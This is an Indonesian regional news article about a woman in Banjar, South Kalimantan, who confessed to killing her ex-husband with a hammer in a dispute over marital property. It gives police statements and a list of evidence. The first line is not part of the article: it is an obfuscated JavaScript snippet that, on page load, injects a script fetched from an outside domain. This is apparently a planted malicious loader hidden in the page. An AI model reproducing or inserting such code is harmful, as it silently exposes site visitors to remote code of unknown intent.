(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Motif kasus pembunuhan yang dilakukan seorang istri terhadap suaminya, pada Selasa (18/12) lalu akhirnya terkuak. Pembunuhan yang dilakukan Musliah (43) terhadap suaminya Rahmadi (49) di Desa Kelampaian Ilir, Kecamatan Astambul, Kabupaten Banjar dipicu keributan mengenai harta gono gini.
Hal tersebut sebagaimana disampaikan Kapolres Banjar AKBP Takdir Mattanete terkait kasus yang menghebohkan warga tersebut. Menurut AKBP Takdir Mattanete, peristiwa ini terungkap saat anak Rahmadi bermasksud mendatangi toko bangunan yang ditinggali orangtuanya, sekitar pukul 19.00 Wita. Rahmadi ditemukan sudah tak bernafas.  Kemudian selanjunya anak korban dan saksi yang bernama Ryan Rizky langsung memeriksa sekujur tubuh korban.
Didampingi Kapolsek Astambul, AKP Samsu Darsono, AKB Takdir mengatakan, pihak Polsek Astambul langsung datang ke lokasi kejadian dan mengevakuasi mayat ke RSUD Ratu Zalecha Martapura untuk keperluan visum. “Dari hasil pemeriksaan dokter, korban mengalami luka di kepala sebanyak tiga mata luka dan satu mata luka mengakibatkan meninggal karena pendarahan dalam otak,†katanya.
Dijelaskan Takdir, status suami istri ini sudah bercerai, kemudian suaminya yang juga korban mau menikah lagi. Tersangka awalnya tidak mempermasalahkan, tetapi mengetahui suami ingin menjual harta gono gini untuk digunakan menikah lagi menjadi awal percekcokan ketika itu.
“Berdasarkan pengakuan tersangka, niatnya sebenarnya tidak ingin membunuh. Namun karena di rumah yang juga digunakan toko berjualan bahan bangunan dan terdapat palu, maka menggunakan palu memukul kepala korban. Kasus ini terungkap juga berkat kerjasama dengan Koramil setempat,” katanya dilansir Tribunnews.com.
Terduga Musliah pada Kamis (20/12) akhirnya dijemput polisi. Dia pun mengakui menghabisi suaminya sendiri dengan menggunakan palu. Saat pra rekontruksi sekitar pukul 10.00 Wita Kamis (20/12), Musliah mengikuti 42 adegan yang dilaksanakan oleh aparat kepolisian. Pra rekonstruksi guna mengungkap pelaku dan penyebab kematian Rahmadi di tangan istrinya.
Dari olah tempat kejadian perkara (TKP) Polres Banjar, ditemukan sejumlah barang bukti yakni satu lembar sarung bantal terdapat bercak darah, satu lembar sarung motif kotak-kotak, satu lembar sajadah, satu utas tali warna kuning, satu utas tali warna hitam, satu buah gunting gagang warna merah, satu lampu dalam keadaan pecah, pecahan kaca figura.
Ada juga satu tempat wadah uang warna hijau terbuat dari plastik dalam keadaan pecah, satu buah kotak handphone merk Samsung Galaxy J2 Prime, satu buah sabuk warna coklat, satu buah jaket warna abu-abu dan hitam, satu buah celana panjang levis, satu buah palu.
Turut diamankan barang bukti berupa satu unit sepeda motor Vario DA 6720 QZ warna hitam, satu lembar baju muslim warna hijau coklat motif kembang yang dipakai saat datang dan melakukan perbuatan pidana, satu lembar kerudung warna abu-abu motif kembang. (trb)
KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
This website uses cookies.